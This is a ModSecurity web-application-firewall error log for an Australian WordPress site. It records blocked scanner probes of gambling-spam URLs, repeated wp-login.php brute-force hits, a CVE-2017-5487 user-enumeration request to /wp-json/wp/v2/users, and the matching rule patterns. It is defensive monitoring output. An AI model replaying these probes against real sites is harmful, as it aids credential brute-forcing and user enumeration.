[Sat May 09 19:18:18.913004 2026] [:error] [pid 9187:tid 9275] [client 65.108.78.33:62000] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "af8X-hC7An6gkXsRsaHu4gAAAJY"]
[Sat May 09 19:18:26.986716 2026] [:error] [pid 9187:tid 9255] [client 65.108.78.33:38674] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "af8YAhC7An6gkXsRsaHvAAAAAII"]
[Sat May 09 19:18:29.584331 2026] [:error] [pid 9293:tid 9321] [client 65.108.78.33:38690] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "af8YBZR__qEzV5O6Z2PfhAAAANg"]
[Sat May 09 19:18:32.194679 2026] [:error] [pid 9663:tid 9681] [client 65.108.78.33:38696] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "af8YCJcWIu01SCxbjwtaywAAAQ8"]
[Sat May 09 19:18:42.743860 2026] [:error] [pid 9184:tid 9209] [client 65.108.78.33:10460] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "af8YEojfODqb_i0Fm9-l1wAAAAw"]
[Sat May 09 19:18:45.321912 2026] [:error] [pid 9760:tid 9784] [client 65.108.78.33:10462] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "af8YFWIkCp-C_fh0s7JZugAAAVI"]
[Sat May 09 19:18:47.993125 2026] [:error] [pid 9184:tid 9197] [client 65.108.78.33:10478] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "af8YF4jfODqb_i0Fm9-l3gAAAAA"]
[Sat May 09 19:18:50.487220 2026] [:error] [pid 9184:tid 9212] [client 65.108.78.33:10494] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "af8YGojfODqb_i0Fm9-l4wAAAA8"]
[Sat May 09 19:18:53.007486 2026] [:error] [pid 9184:tid 9200] [client 65.108.78.33:62840] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "af8YHYjfODqb_i0Fm9-l5QAAAAM"]
[Sat May 09 19:18:55.444855 2026] [:error] [pid 9833:tid 9856] [client 65.108.78.33:62854] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "af8YHyM9JmxIS0KGZUCXOAAAAZI"]
[Sat May 09 19:18:58.142553 2026] [:error] [pid 9187:tid 9273] [client 65.108.78.33:62864] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "af8YIhC7An6gkXsRsaHvIQAAAJQ"]
[Sat May 09 19:19:00.581863 2026] [:error] [pid 9663:tid 9676] [client 65.108.78.33:62868] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "af8YJJcWIu01SCxbjwta4AAAAQo"]
[Sat May 09 19:19:03.153100 2026] [:error] [pid 9187:tid 9264] [client 65.108.78.33:12884] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "af8YJxC7An6gkXsRsaHvKQAAAIs"]
[Sat May 09 19:19:09.569858 2026] [:error] [pid 9187:tid 9253] [client 65.108.78.33:12892] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "af8YLRC7An6gkXsRsaHvMwAAAIA"]
[Sat May 09 19:19:12.138262 2026] [:error] [pid 9663:tid 9679] [client 65.108.78.33:12906] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "af8YMJcWIu01SCxbjwta6wAAAQ0"]
[Sat May 09 19:20:37.767301 2026] [:error] [pid 9187:tid 9275] [client 65.108.78.33:11196] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "af8YhRC7An6gkXsRsaHvcwAAAJY"]
[Sat May 09 19:20:40.235129 2026] [:error] [pid 9833:tid 9856] [client 65.108.78.33:11206] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "af8YiCM9JmxIS0KGZUCXgQAAAZI"]
[Sat May 09 19:20:42.736875 2026] [:error] [pid 9920:tid 9945] [client 65.108.78.33:59400] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "af8YikxitGYhlzgZb5YQVwAAAdc"]
[Sat May 09 19:20:45.382835 2026] [:error] [pid 9833:tid 9838] [client 65.108.78.33:59408] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "af8YjSM9JmxIS0KGZUCXigAAAYA"]
[Sat May 09 19:20:57.614608 2026] [:error] [pid 9760:tid 9783] [client 65.108.78.33:21552] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "af8YmWIkCp-C_fh0s7JZ_QAAAVE"]
[Sat May 09 19:21:00.193958 2026] [:error] [pid 9293:tid 9318] [client 65.108.78.33:21554] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "af8YnJR__qEzV5O6Z2PgBQAAANU"]
[Sat May 09 19:21:02.743847 2026] [:error] [pid 9293:tid 9321] [client 65.108.78.33:57910] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "af8YnpR__qEzV5O6Z2PgCgAAANg"]
[Sat May 09 19:21:05.215407 2026] [:error] [pid 9663:tid 9671] [client 65.108.78.33:57922] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "af8YoZcWIu01SCxbjwtbDgAAAQU"]
[Sat May 09 19:21:07.685806 2026] [:error] [pid 9187:tid 9271] [client 65.108.78.33:57926] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "af8YoxC7An6gkXsRsaHvhwAAAJI"]
[Sat May 09 19:21:10.305766 2026] [:error] [pid 9187:tid 9260] [client 65.108.78.33:57942] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "af8YphC7An6gkXsRsaHvjgAAAIc"]
[Sat May 09 19:21:12.907439 2026] [:error] [pid 9293:tid 9299] [client 65.108.78.33:20078] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "af8YqJR__qEzV5O6Z2PgDwAAAMI"]
[Sat May 09 19:21:15.417451 2026] [:error] [pid 9187:tid 9276] [client 65.108.78.33:20086] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "af8YqxC7An6gkXsRsaHvlwAAAJc"]
[Sat May 09 19:21:17.924060 2026] [:error] [pid 9187:tid 9255] [client 65.108.78.33:20098] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "af8YrRC7An6gkXsRsaHvmwAAAII"]
[Sat May 09 19:21:20.445541 2026] [:error] [pid 9293:tid 9320] [client 65.108.78.33:20104] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "af8YsJR__qEzV5O6Z2PgIAAAANc"]
[Sat May 09 19:21:23.118681 2026] [:error] [pid 9184:tid 9202] [client 65.108.78.33:49958] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "af8Ys4jfODqb_i0Fm9-mFQAAAAU"]
[Sat May 09 19:21:25.734084 2026] [:error] [pid 9184:tid 9211] [client 65.108.78.33:49970] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "af8YtYjfODqb_i0Fm9-mFgAAAA4"]
[Sat May 09 19:21:28.506099 2026] [:error] [pid 9920:tid 9931] [client 65.108.78.33:49976] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "af8YuExitGYhlzgZb5YQdgAAAck"]
[Sat May 09 19:21:31.069715 2026] [:error] [pid 9760:tid 9788] [client 65.108.78.33:49986] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "af8Yu2IkCp-C_fh0s7JaAwAAAVY"]
[Sat May 09 20:20:10.134001 2026] [:error] [pid 55353:tid 55365] [client 43.140.247.223:44186] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "af8meiDuyNO3XosoIYQvrQAAAQo"]
[Sat May 09 21:49:08.015274 2026] [:error] [pid 55353:tid 55369] [client 193.36.224.78:40691] [client 193.36.224.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.224.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af87VCDuyNO3XosoIYROkwAAAQ4"]
[Sat May 09 22:00:18.028433 2026] [:error] [pid 55191:tid 55284] [client 43.156.156.96:58742] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "af898vMcqx1kfQsw7c4PYAAAAIc"]
[Sat May 09 22:08:40.502950 2026] [:error] [pid 55191:tid 55279] [client 136.144.19.177:41269] [client 136.144.19.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af8_6PMcqx1kfQsw7c4R4QAAAII"]
[Sat May 09 22:40:32.781779 2026] [:error] [pid 55182:tid 55224] [client 136.144.19.178:30377] [client 136.144.19.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.178, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9HYDaxmP-S8ASrqQnmAgAAAMw"]
[Sat May 09 23:11:36.866422 2026] [:error] [pid 55191:tid 55279] [client 104.234.19.71:46339] [client 104.234.19.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.71, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9OqPMcqx1kfQsw7c4iIAAAAII"]
[Sat May 09 23:41:48.342050 2026] [:error] [pid 62831:tid 62849] [client 104.234.19.71:62293] [client 104.234.19.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.71, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9VvOYBNqNhtZ_l7qBFnQAAABA"]
[Sun May 10 00:14:50.078154 2026] [:error] [pid 55186:tid 55258] [client 136.144.19.178:20185] [client 136.144.19.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.178, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9depPIspqZdXg7QQvKnwAAAEk"]
[Sun May 10 00:28:24.566801 2026] [:error] [pid 62831:tid 62856] [client 85.208.51.106:44454] [client 85.208.51.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.208.51.106, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9gqOYBNqNhtZ_l7qBS5wAAABc"]
[Sun May 10 00:28:25.700136 2026] [:error] [pid 62831:tid 62842] [client 85.208.51.106:44454] [client 85.208.51.106] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "af9gqeYBNqNhtZ_l7qBS6wAAAAk"]
[Sun May 10 00:28:28.846957 2026] [:error] [pid 55353:tid 55358] [client 85.208.51.106:34732] [client 85.208.51.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.208.51.106, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af9grCDuyNO3XosoIYSB3AAAAQM"]
[Sun May 10 00:37:16.919761 2026] [:error] [pid 55353:tid 55357] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9ivCDuyNO3XosoIYSDpAAAAQI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:18.371530 2026] [:error] [pid 55353:tid 55355] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9iviDuyNO3XosoIYSDpwAAAQA"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:19.628189 2026] [:error] [pid 55353:tid 55358] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9ivyDuyNO3XosoIYSDqAAAAQM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:20.847960 2026] [:error] [pid 55353:tid 55369] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9iwCDuyNO3XosoIYSDqgAAAQ4"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:22.079782 2026] [:error] [pid 55353:tid 55356] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9iwiDuyNO3XosoIYSDrQAAAQE"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:23.312883 2026] [:error] [pid 55353:tid 55366] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9iwyDuyNO3XosoIYSDzwAAAQs"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:24.523075 2026] [:error] [pid 55353:tid 55376] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9ixCDuyNO3XosoIYSD2AAAARU"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:25.797621 2026] [:error] [pid 55353:tid 55373] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9ixSDuyNO3XosoIYSD4AAAARI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:37:27.059265 2026] [:error] [pid 55353:tid 55379] [client 38.158.83.105:49862] [client 38.158.83.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.158.83.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9ixyDuyNO3XosoIYSD5AAAARg"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:32.660580 2026] [:error] [pid 55186:tid 55273] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jgJPIspqZdXg7QQvNyQAAAFg"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:34.223650 2026] [:error] [pid 55186:tid 55263] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jgpPIspqZdXg7QQvNygAAAE4"], referer: https://vetstars.com.au/wp-login.php
